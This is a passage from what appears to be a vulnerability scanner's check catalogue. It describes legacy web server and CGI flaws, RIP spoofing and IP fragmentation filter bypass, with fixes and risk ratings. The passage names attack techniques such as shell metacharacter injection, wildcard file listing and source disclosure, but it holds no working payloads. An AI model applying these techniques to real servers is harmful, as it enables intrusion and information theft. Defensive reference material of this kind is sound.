10010. WWW finger check

Verbose Description
Some web sites implement a web gateway to the "finger" service, allowing

remote web clients to execute finger queries against arbitrary hosts. In environments where the "finger" service has been determined to be a security risk (due to the sensitivity of the information it provides), a web finger gateway can be used to execute finger queries against the server, allowing an attacker to obtain information about it's users. This check attempts to find a web-based finger gateway and execute it.

Suggestions
We suggest you remove the finger client from your web server.

High Level Description
"Finger" is an online information service that provides data about users on a system. Some web servers provide gateways to the finger service. Because "finger" provides sensitive information about the usage of a server, these web gateways can be used by an attacker to obtain sensitive information about the web server.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

10012. WWW Server is not running in a "chroot" environment

Verbose Description
The target WWW server was found to not be running in a "chroot" environment. When running in a "chroot" environment, the WWW server's file system is limited to a small subset of the hosts real filesystem. The target WWW server has the ability to access the entire file system on the target host.

Suggestions
It is suggested that you run your WWW server in a "chroot" environment. Running in a "chroot" environment limits the scope with which the WWW server can access the target system. If the target WWW server were to contain a vulnerability, this would limit the extent to which an attacker could gain access.

Most common WWW servers allow the ability to configure the WWW server to utilize a "chroot" environment. Please refer to your WWW server documentation for additional information.

High Level Description

Most web servers do not allow browsers to obtain files from arbitrary locations on the system, but rather only from specifically configured web-page directories. Web servers that don't enforce these restrictions can be abused by attackers to obtain sensitive information from the server, by requesting arbitrary files on the system.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

10013. Password(s) guessed via WWW server

Verbose Description
CyberCop Scanner was able to guess the username and password of a valid account which is utilized to obtain privileged access to the target WWW server.

Security Concerns
Many WWW sites restrict access to portions of their contents via a username and password which must be entered to gain access to this information. If this username and password is easily guessable, an attacker can obtain access to this restricted information.

Suggestions
It is recommended that the password for the specified username be set to one which is more secure.

High Level Description
Many web servers protect sensitive web pages from outsiders by requiring a password to access them. The CyberCop Scanner scanner includes a sophisticated engine for guessing passwords; if CyberCop Scanner is able to guess the password for a protected page, attackers can too.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Authorization

10014. NCSA WebServer buffer overflow check (version 1.5c)

Verbose Description
NCSA's web server software prior to version 1.5c had a buffer overflow that could be exploited to give a remote user access to the server. This check will attempt to exploit the buffer overflow in NCSA httpd.

Suggestions
If your web server has this problem we suggest you upgrade your webserver to NCSA's most recent version.

High Level Description
NCSA "httpd" is a web server. Due to a bug in version 1.5c of this server, attackers can send requests to the server that will cause it to execute an arbitrary command for the attacker. Attackers can use this tobreak into vulnerable servers, gain access to sensitive information, and compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

10015. Nph-test-cgi check

Verbose Description
Many Unix-based web servers are bundled with a sample CGI program called "nph-test-cgi". nph-test-cgi is a test script that allows "non-parsed headers" to be sent via HTTP. Due to improper quoting of request parameters, attackers can formulate requests to this program that will cause it to list all files on the system.

Suggestions
We suggest you remove this script, test and example scripts for CGI instruction are infamous for their security holes. If you need to reference these scripts, we suggest you keep them off your web server. Also if you are referencing the 'util.c' source distributed with NCSA and Apache web servers you should be aware that it is broken, and will let newline characters to be passed through the interpreter. This has been the cause of several security problems in web servers.

References
CERT Advisory CA-96.07.nph-test-cgi_script
ftp://ftp.cert.org/pub/cert_advisories/CA-96.07.nph-test-cgi_script

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One of these programs, called "nph-test-cgi", has a bug that will allow an attacker to browse the entire filesystem of the web server. The names of arbitrary files on the system can be sensitive information.

Risk Factor: Low
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

10016. AnyForm CGI check

Verbose Description
AnyForm is a CGI program that allows webmasters to create arbitrary form submission pages without writing a dedicated CGI program for each form. AnyForm runs the Bourne shell to execute Sendmail, which it uses to send form results to the web administrator. Due to improper quoting of form field parameters, an attacker can place shell metacharacters in form fields, which will cause AnyForm to execute an arbitrary command on the web server. This check searches for the AnyForm script and attempts to exploit it.

Suggestions
If this vulnerability has been found on your host we suggest you either institute sanity checking within the parsing for this script, or remove it.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One of these programs, called AnyForm, has a bug that will allow an attacker to force it to execute arbitrary commands on the web server. This can be used to break into the server, obtain sensitive information, and potentially to compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular

Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10017. FormMail check

Verbose Description
FormMail is a CGI program that allows the creation of arbitrary form submission web pages without writing a dedicated CGI program for each. FormMail executes the Bourne shell in order to run a mail program, which is used to send form results to the web administrator. Due to improper quoting of form fields, an attacker can place shell metacharacters in a form field, forcing FormMail to execute an arbitrary command.

Suggestions
We suggest you remove FormMail or write your own sanity checking into it.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10018. ScriptAlias check

Verbose Description
The ScriptAlias check attempts to exploit a problem inherent in both NCSA httpd (all versions up to and including 1.5) and Apache httpd prior to 1.0. The problem is that configuring a Script Alias directory within the Document Root permits users to retrieve a CGI program rather than execute it. This will allow remote users to download scripts instead of executing them. In effect this will give the attacker the ability to search your CGI forms for weaknesses and or steal proprietary programs.

Suggestions
Do not configure your ScriptAlias directory to be within the Document Root.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. Web servers execute CGI programs on behalf of web clients, but do not allow clients to download the actual CGI program. Due to a vulnerability in some web servers, attackers can download CGI programs instead of running them. This allows

an attacker to steal proprietary programs and find weaknesses in them, which may allow the attacker to further compromise the server.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

10019. Guestbook CGI

Verbose Description
The Guestbook CGI program allows web browsers to leave their name in an electronic guestbook. If the web server implements the Server-Side Includes (SSI) extension, the Guestbook program can be used to execute an arbitrary command on the web server, by leaving a name and message that includes HTML tags for an SSI command.

Suggestions
If your host is vulnerable to this attack we suggest you download the most recent version of GuestBook which has this problem fixed.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One of these programs, called Guestbook, allows users to sign an electronic guestbook. Due to a bug in the program, an attacker can use the program to execute an arbitrary command on the web server. This can be used to break into the server, obtain sensitive information, and potentially to compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10020. Test-cgi " *" check

Verbose Description
Some HTTP servers ship with a CGI script titled test-cgi. This script can be subverted to list files and directories, anywhere on the host machine.

Later versions of the test-cgi script, which were meant to prevent the use of wildcards to obtain file listings have a bug which allows people to obtain file listings using " *" instead of "*".

Suggestions
We suggest you remove this script, test and example scripts for CGI instruction are infamous for their security holes. If you need to reference these scripts, we suggest you keep them off your web server.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One of these programs, called "test-cgi", is frequently bundled with servers as an example of how to create and manage CGI programs. This program has a bug that will allow attackers to list arbitrary files on the system. The names of files on the system can be sensitive information.

Risk Factor: Low
Ease of repair: Trivial
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

10021. Nph-test-cgi " *" check

Verbose Description
Some HTTP servers ship with a CGI (Common Gateway Interface) script titled nph-cgi-test. This script can be subverted to list files and directories, anywhere on the host machine. This check searches for the nph-test-cgi script and attempts to exploit it using " *" instead of "*".

Suggestions
We suggest removing all nonessential CGI scripts from your web server.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One of these programs, called "nph-test-cgi", is frequently bundled with servers as an example of how to create and maintain CGI programs. This program has a bug that can allow attackers to list arbitrary files on the system. The names of files on the system can be sensitive information.

Risk Factor: Low

Ease of repair: Trivial
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

10022. Apache httpd cookie buffer overflow

Verbose Description
Version 1.1.1 and earlier of the Apache httpd have a remotely exploitable buffer overflow in their cookie generation code. This check determines whether you are running version 1.1.1 of the Apache httpd with the cookies module enabled. If you are vulnerable to this attack, remote individuals can obtain access to your web server machine.

Suggestions
Upgrade to version 1.2 or later of the Apache httpd, or disable the cookies module.

References
NAI Security Advisory #02
http://www.nai.com/products/security/advisory/02_apachemod_adv.asp

High Level Description
Most web servers have extension to handle web "cookies", which record information about clients using the server. A very popular web server called Apache has a bug in it's cookie handling extensions that can allow an attacker to execute an arbitrary command on the server. This can be used to break into the server, obtain sensitive information, and potentially to compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

10023. Windows NT - WebSite buffer overflow

Verbose Description
Version 1.1e of the WebSite web server for Windows NT contains a serious vulnerability allowing remote users to execute arbitrary commands on

systems running WebSite for Windows NT. The vulnerability exists in the example CGI program which is located in /cgi-shl/win-c-sample.exe which contains a buffer overflow. This allows an attacker to specify instructions for the web server to execute, enabling them to execute any Windows NT command.

Suggestions
Remove the example program /cgi-shl/win-c-sample.exe from the CGI directory.

High Level Description
WebSite is a web server for Windows NT from O'Reilly and Associates. Some versions of WebSite are distributed with an example extension called "win-c-sample.exe". This program is vulnerable to a problem that allows a remote attacker to force the server to execute an arbitrary command. This can be used to break into the server, obtain sensitive information, and compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

10024. Windows 95 - WebSite buffer overflow

Verbose Description
The release version of the WebSite web server for Windows 95 contains a serious vulnerability allowing remote users to execute arbitrary commands on systems running WebSite for Windows 95. The vulnerability exists in the example CGI program which is located in /cgi-shl/win-c-sample.exe which contains a buffer overflow. This allows an attacker to specify instructions for the web server to execute, enabling them to execute any Windows 95 command.

Suggestions
Remove the example program /cgi-shl/win-c-sample.exe from the CGI directory.

High Level Description
WebSite is a web server from O'Reilly and Associates which is available for the Windows 95 operating system. Some versions of WebSite for Windows 95 are shipped with an example extension called "win-c-sample.exe". This program is vulnerable to a problem that allows a remote attacker to force the server to execute an arbitrary command. This can be used to break into the server, obtain sensitive information, and compromise the

availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

10025. php.cgi file printing bug

Verbose Description
PHP is a CGI program that allows highly flexible dynamic web pages to be created, by feeding web pages through an interpreter. The PHP interpreter reads input files, executes PHP commands, and sends the output to web clients. As distributed, it is possible for an attacker to request an arbitrary file from PHP, rather than a specifically allowed web pages. Misconfigured PHP programs will allow an attacker to read any file the web server can read.

Suggestions
Modify "php.h" in your PHP source distribution so that it contains a line reading:

```
#define PATTERN_RESTRICT ".*\\.phtml$"
```

Then recompile php.cgi. This will prevent php.cgi from sending attackers any files whose names do not end in .phtml.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One such program, called "PHP", allows administrators to easily create dynamic web pages. This program is frequently misconfigured in a manner that allows an attacker to read an arbitrary file from the web server machine, rather than restricting the attacker to published public web pages. This can allow an attacker to obtain sensitive private information from a vulnerable web server.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

10026. php.cgi buffer overflow

Verbose Description
php.cgi 2.0beta10 and earlier suffer from a command line buffer overflow which makes it possible for a remote attacker to obtain access to your web server.

Suggestions
Obtain a more recent version of PHP from http://www.vex.net/php

References
NAI Security Advisory #12
http://www.nai.com/products/security/advisory/12_php_overflow_adv.asp

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One such program, called "PHP", allows administrators to easily create dynamic web pages. This program is vulnerable to a problem that allows a remote attacker to force the server to execute an arbitrary command. This can be used to break into the server, obtain sensitive information, and compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

10027. SGI wrap CGI

Verbose Description
The version of /var/www/cgi-bin/wrap shipped with some versions of IRIX permits users to obtain listings of any directory on your system which ordinary users can read. In addition, the default inetd.conf instructs IRIX to place a web server on port 8778 as well as port 80.

Suggestions
Delete /var/www/cgi-bin/wrap, and disable the web servers on port 80 and 8778 unless you are actually using them.

References
SGI Advisory 19970501-02-PX
ftp://sgigate.sgi.com/security/19970501-02-PX

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. Some server systems from Silicon Graphics are distributed with an example program called "wrap". This program is vulnerable to a problem that allows a remote attacker to obtain file listings from the server. The names of files on the system can be sensitive, and can allow an attacker to gain more information to use in attacking the system.

Risk Factor: Medium
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

10028. IRIX /cgi-bin/handler check

Verbose Description
The /cgi-bin/handler program, shipped with Irix 6.2, makes it possible for remote individuals to execute arbitrary shell commands.

Suggestions
Remove the default CGI scripts which ship with Irix from /var/www/cgi-bin, and disable the default http server programs by commenting them out in /etc/inetd.conf, and then killing and restarting inetd. Make sure that you disable both the http server which runs on port 80, and the one which runs on port 8778.

References
SGI Advisory 19970501-02-PX
ftp://sgigate.sgi.com/security/19970501-02-PX

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. Some server systems from Silicon Graphics are distributed with a CGI program called "handler". This program is vulnerable to a problem that allows a remote attacker to force the server to execute an arbitrary command. This can be used to break into the server, obtain sensitive information, and compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10029. Glimpse HTTP check

Verbose Description
Glimpse is a search engine used to efficiently search for information in large numbers of files. "aglimpse" is a CGI program that makes up part of a WWW gateway to Glimpse. A vulnerability exists in the /cgi-bin/aglimpse script which allows a remote user to execute arbitrary commands on the remote system as the user which the web server runs as.

Suggestions
Remove the vulnerable script immediately from the /cgi-bin directory on your web server. Obtain a newer version of this script which solves the security problem.

References
CERT Bulletin VB-97.13
ftp://ftp.cert.org/pub/cert_bulletins/VB-97.13.GlimpseHTTP.WebGlimpse
AUSCERT Advisory AA-97.28.GlimpseHTTP.WebGlimpse.vuls
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-97.28.GlimpseHTTP.WebGlimpse.vuls

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One such program, called "aglimpse", is part of a web gateway to a search engine. This program is vulnerable to a problem that allows a remote attacker to force the server to execute an arbitrary command. This can be used to break into the server, obtain sensitive information, and compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

10030. GAIS websendmail check

Verbose Description
WEBGAIS is a search tool. Some older versions of the WEBGAIS tool is bundled with a CGI program called "websendmail", which allows form input to be mailed to an administrator. The "websendmail" CGI program improperly processes information from form fields, and allows them to contain shell metacharacters. This can be used to coerce the program into executing an arbitrary program on behalf of an attacker.

Suggestions
Remove the vulnerabile script immediately from the /cgi-bin directory on your web server. Upgrade to GAIS 2.0 or later, which don't use the websendmail script.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One such program, called "websendmail", is distributed with WEBGAIS, a web-based search tool. This program is vulnerable to a problem that allows a remote attacker to force the server to execute an arbitrary command. This can be used to break into the server, obtain sensitive information, and compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10031. WebSite Uploader CGI check

Verbose Description
Uploader.exe is a sample CGI script that comes with O'Reilly's WebSite web server for NT. Due to insufficient argument checking, the uploader CGI program will allow attackers to upload files to arbitrary directories under the web server root directory. This module uploads a text file to one of the CGI directories. An attacker could upload a CGI script and invoke it to get access to the web server.

Suggestions
Remove uploader.exe from the web server cgi-win directory immediately.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. WebSite, a web server for Windows NT from O'Reilly and Associates, is distributed with a CGI program called "Uploader", which allows clients to upload web pages to a server. Do to a problem with this program, an attacker can force it to create an arbitrary program on the server, which can then be executed by the attacker. This can be used to break into the server, obtain sensitive information, and compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity Data Integrity Availability

10032. PHP mlog Example Script Check

Verbose Description
PHP is a CGI program that allows administrators to easily and flexibly create dynamic web pages. PHP-enabled web pages are fed through the PHP interpreter, which executes commands embedded in the web pages and feeds the output to web clients. The PHP scripting language contains an example script called mlog.phtml which, due to insufficient checking of a script argument, will allow a user connecting via WWW to read any file readable by the web server daemon. This check tries to obtain the password file in /etc/passwd using this script.

Suggestions
If your host has been found to have this script online we suggest you remove it.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One such program, called PHP, allows administrators to easily create dynamic web pages. This program is distributed with another CGI program, called "mlog.html", that is vulnerable to a problem which allows an attacker to read an arbitrary file from the web server machine, rather than restricting the attacker to published public web pages. This allows an attacker to collect sensitive private information from the server without legitimate access to it.

Risk Factor: Medium

Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10033. PHP mylog example script test

Verbose Description
PHP is a CGI program that allows administrators to easily and flexibly create dynamic web pages. PHP-enabled web pages are fed through the PHP interpreter, which executes commands embedded in the web pages and feeds the output to web clients. The PHP scripting language contains an example script called mylog.phtml which, due to insufficient checking of a script argument, will allow a user connecting via WWW to read any file readable by the web server daemon. This check tries to obtain the password file in /etc/passwd using this script.

Suggestions
If your host has been found to have this script online we suggest you remove it.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One such program, called PHP, allows administrators to easily create dynamic web pages. This program is distributed with another CGI program, called "mylog.html", that is vulnerable to a problem which allows an attacker to read an arbitrary file from the web server machine, rather than restricting the attacker to published public web pages. This allows an attacker to collect sensitive private information from the server without legitimate access to it.

Risk Factor: Medium
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10034. Cisco HTTP Server Presence

Verbose Description
Newer Cisco routers can be configured through a web interface that works via an HTTP server in the router software. It is possible that the presence of this server can allow an attacker to gain extended

access to a router. Presence of this server also indicates an out-of-the-box configuration of the router which may be vulnerable to other attacks.

Suggestions
Consult Cisco documentation to find out how to disable the Cisco configuration web server after the router has been configured.

High Level Description
Some routers from Cisco Systems are configurable via a web interface, which is supported by a web server embedded in the router software. Many versions of this software are vulnerable to an attack that allows an attacker to gain access to the router (although this check does not confirm that vulnerability). Presence of this server on a router also indicates a potentially vulnerable out-of-the-box configuration of the router.

Risk Factor: Low
Ease of repair: Simple
Attack Popularity: Obscure
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

10035. wwwcount Stack Overrun Check

Verbose Description
Certain versions of Muhammad Muquit's wwwcount counter CGI program are vulnerable to a stack overrun caused by the processing of an overly-large query string. Attackers can exploit this problem to run arbitrary programs as the user-ID of the web server, allowing them to gain remote access to vulnerable web servers.

Suggestions
Upgrade to the most recent version of wwwcount, which fixes this vulnerability.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. A very popular CGI program, called "wwwcount", allows web page "hit counters" to be maintained for web sites. Some versions of this program is vulnerable to a problem that allows a remote attacker to force the server to execute an arbitrary command. This can be used to break into the server, obtain sensitive information, and compromise the availability of the web server and the

machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

10036. IIS ASP source bug

Verbose Description
In certain versions of IIS it is possible to read the source to ASP (Active Server Page) files by adding a trailing dot to the URL or by replacing a dot with it's hex equivalent. Usually the ASP page will be interpreted on the server to generate the HTML file that a web browser displays.

Security Concerns
Since ASP files can contain sensitive information such as passwords, this bug can lead to the compromise of the web server or the compromise of other sensitive information.

Suggestions
Install Service Pack 3.

References
CIAC Advisory h-48.internet.information.server.vulnerability.txt
ftp://ciac.llnl.gov/pub/ciac/bulletin/h-fy97/h-48.internet.information.server.vulnerability.txt

High Level Description
Active Server Pages are a Microsoft Internet Information Server extension that alllows the IIS web server to serve dynamic information. Web servers execute Active Server Pages on behalf of web clients, but do not allow clients to download the actual Active Server Page Source. Due to a vulnerability in some web servers, attackers can download Active Server Pages instead of running them. This allows an attacker to steal proprietary programs and find weaknesses in them, which may allow the attacker to further compromise the server.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Widespread

Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

10037. IIS newdsn.exe bug

Verbose Description
The newdsn.exe script that comes with IIS allows users to create databases through a web interface. The script does not check the location of the created database. An attacker can use this script to create or overwrite any file with the permissions of the anonymous internet account (IUSR_machinename). Although the attacker does not control the contents of the created file, it may provide the leverage needed to compromise security, and can easily be used to compromise the availability of a vulnerable server and the machine it runs on.

Suggestions
Remove the newdsn.exe from the scripts\tools directory (usually C:\InetPub\scripts\tools).

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One such program, called "newdsn.exe", is distributed with Microsoft Internet Information Server. This program is vulnerable to a problem that allows an attacker to overwrite an arbitrary file on the server. This can potentially be used to compromise access to the server by reconfiguring it, and can easily be exploited to compromise the availability of the server and the machine it runs on.

Risk Factor: Medium
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Data Integrity Availability

10038. IRIX MachineInfo Script

Verbose Description
Silicon Graphics Irix systems are shipped with a default script in the WWW server cgi-bin directory called MachineInfo. This script allow a remote user to obtain complete information on the system's configuration. Information available includes:

1. Processor type and speed
2. Amount of memory
3. Type of disks installed
4. Type of graphics board

Security Concerns
This information can provide an attacker with system information on the remote server to identify the server type.

Suggestions
If this information should not be availible to remote users, remove the script in the following directory:

/var/www/cgi-bin/MachineInfo

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. Some server systems from Silicon Graphics are distributed with a CGI program called "MachineInfo". This program can provide an attacker with detailed information about the configuration of the server. This information is often sensitive, and can be used to help launch further attacks against the server.

Risk Factor: Low
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Intelligence

10039. Netscape FastTrack Webserver "get/GET" Bug

Verbose Description
Webservers are network servers that speak the HTTP protocol, which is used over TCP connections. One of the commands in the HTTP protocol is "GET", which is used to retrieve HTML files from remote webservers. "GET", like all HTTP commands, must be issued entirely in uppercase; it is a violation of the protocol to use lowercase characters in the command name.

Webservers normally issue an error when an HTTP request is malformed. Due to an implementation error, some variants of the Netscape FastTrack webserver do not issue an error, but rather provide a file listing when a "GET" request is issued in lowercase.

Security Concerns
This can be used to obtain sensitive information from webservers. File listings are typically not available when an "index.html" file exists in a directory; this bug allows attackers to bypass that restriction.

This module attempts to obtain a file listing from the root HTML document directory of a FastTrack webserver using a lowercase HTTP "GET" command.

Suggestions
Contact Netscape for a fix for this problem.

High Level Description
Most web servers will not allow a client to obtain a listing of all published web pages on a machine, but rather will restrict information about them to whatever is provided on the "main" page. Netscape's FastTrack server is vulnerable to a problem that will allow an attacker to bypass this restriction, compromising potentially sensitive information about the pages published by a server.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality

10040. IRIX webdist.cgi check

Verbose Description
The webdist.cgi script is shipped with many versions of the Silicon Graphics IRIX operating system. Due to a problem processing CGI arguments, the program incorrectly expands hex-encoded metacharacters without stripping them from the input. The contents of the CGI input to webdist.cgi are passed to the shell when the program executes other commands, so this problem can be used by an attacker to execute arbitrary commands on vulnerable systems.

Security Concerns
This vulnerability allows an attacker to execute any command on the remote system, allowing them to gain access to the effected system.

Suggestions
If you are not utilizing the WWW server which ships with IRIX by default, it is recommended that you disable it by commenting out the http process in /etc/inetd.conf, and then killing and restarting the inetd process.

You can remove this vulnerability by removing the webdist.cgi script in /var/www/cgi-bin/webdist.cgi.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One such program, called "webdist.cgi", is distributed with some Silicon Graphics server machines. This program is vulnerable to a problem that allows a remote attacker to force the server to execute an arbitrary command. This can be used to break into the server, obtain sensitive information, and compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10042. Microsoft Personal Webserver Overflow DOS

Verbose Description
The Microsoft Personal Webserver (MPWS) is a software product that allows workstation users to establish personal web-sites on their desktop machines. Due to a software implementation problem in Microsoft's code, it is possible to cause MPWS to crash by sending an oversized HTTP GET request to the webserver. This can be used to prevent web users from accessing published pages.

Suggestions
Obtain the appropriate patch from Microsoft.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Availability

10044. FSF "info2www" CGI Check

Verbose Description
info2www is a CGI program written in Perl that converts "info"-formatted program documentation into HTML, for viewing over the web via browsers.

This script passes an HTTP argument directly to the open() call; an attacker that specifies an argument that includes the pipe character ('|') can thus force the script to execute an arbitrary command.

Suggestions
If your host is vulnerable to this attack we recommend that you disable the info2www script or locate the most recent version, which is immune to this attack.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One of these programs, called Guestbook, allows users to sign an electronic guestbook. Due to a bug in the program, an attacker can use the program to execute an arbitrary command on the web server. This can be used to break into the server, obtain sensitive information, and potentially to compromise the availability of the web server and the machine it runs on.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

10047. "campas" CGI Vulnerability

Security Concerns
This vulnerability allows an attacker to read an arbitrary file from a vulnerable system, which may provide enough information for further breakins.

Suggestions
Remove the "campas" CGI program from the vulnerable web server.

High Level Description
CGI programs are programs that a web server executes to handle complicated requests and to serve dynamic information. One such program is called "campas". This program is vulnerable to a problem that allows a remote attacker to force the server to display the contents of an arbitrary file. This can be used to gain sensitive information and potentially to gather login information that can be used to gain further access to the server.

Risk Factor: High
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Data Integrity

10048. HylaFax faxsurvey CGI vulnerability

Verbose Description
HylaFax is a package for Unix systems which provides fax services. Included in the packet are web pages for collecting survey information from HylaFax users. The CGI script which is used to gather this information does not properly sanitize the user provided input and evuates it in a shell.

Security Concerns
This vulnerability allows an attacker to execute commands on the web server machine with the priveledges granted to CGI scripts.

Suggestions
The faxsurvey CGI script is usually not needed, and should be deleted.

Risk Factor: High
Ease of repair: Trivial
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Implementation

Impact of Attack: **System Integrity**

11: NETWORK PROTOCOL SPOOFING

11006. RIP spoofing check

Verbose Description
The target host was found to be utilizing RIP (Routing Information Protocol) to obtain routing decision information. Version 1 RIP is an easily spoofable protocol. It has been determined that the target host is running RIP version 1.

Suggestions
It is recommended that you utilize alternate routing protocols in any security critical environments. It is also recommended that you prevent RIP traffic from entering your network by blocking port 520 UDP at your border router.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Design
Impact of Attack: System Integrity Accountability Authorization Availability

11011. IP forwarding check

Verbose Description
The target host was found to have IP forwarding enabled.

Security Concerns
IP forwarding allows a host to act as a router, allowing other hosts to forward packets through the host. If the target host is acting as a firewall, it is essential that IP forwarding be disabled, or an attacker can simply route through the target host directly to access systems behind this system.

Suggestions
It is recommended that you disable IP forwarding unless this host is acting as a gateway.

Risk Factor: High
Ease of repair: Simple

Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration

Impact of Attack: **Authorization**

12: CASL PACKET FILTER

12007. IP fragmentation (tiny) check

Verbose Description
The (tiny) packet IP fragmentation check is performed by sending very small fragmented packets in an attempt to bypass your firewall or filtering router. Misconfigured filters will allow these packets through. However, once the assembled on the other side of a filter, the fragmented packets can assemble to become packet types that the filter would usually not allow.

Suggestions
If your router is vulnerable to this, we suggest you reconfigure your filters. If your filtering device is vulnerable to this, we suggest you approach your vendor for an updated version of the system software.

Notes:
This attack should only cause concern IF you are attempting to block incoming connections to your internal network via your filtering device. An example of this is using the "established" keyword in your filter sets on Cisco brands of routers.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Authorization

12008. IP fragmentation (overlay) check

Verbose Description
The (overlay) IP fragmentation attack is performed by sending, what seems like a harmless fragmented packet, through the firewall. This is followed by another fragmented packet which overlays the harmless data in the first packet with data which would have otherwise not been allowed through. Once re-assembled, the packet is valid.

Suggestions
